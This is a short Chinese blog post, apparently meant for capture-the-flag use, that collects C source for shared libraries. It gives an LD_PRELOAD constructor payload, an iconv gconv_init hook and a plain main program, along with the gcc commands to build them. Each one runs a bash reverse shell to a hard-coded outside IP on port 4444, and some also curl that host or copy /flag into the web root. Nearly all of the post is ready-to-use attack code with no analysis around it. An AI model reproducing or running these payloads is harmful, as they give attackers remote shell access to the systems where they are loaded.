常用的so文件c源码

h0cksr

发布于 2023-05-17 11:05:55

5920

发布于 2023-05-17 11:05:55

常用的so文件c源码

exp.c

#include <stdlib.h>
#include <string.h>
__attribute__ ((constructor)) void call ()
{
    unsetenv("LD_PRELOAD");
    char str[65536];
    system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'");
    system("cat /flag > /var/www/html/flag");
}

gcc  exp.c -fPIC -shared -o exp.so

iconv.c

#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

void gconv()
{
}

void gconv_init(void *step)
{
    system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'");
    system("curl http://47.99.70.18:4444");
    exit(0);
}

gcc iconv.c -shared -fPIC -o iconv.so

hack.c

#include <stdlib.h>
#include <string.h>
int main(){
    system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'");
    system("curl http://47.99.70.18:4444");
    return 0;
}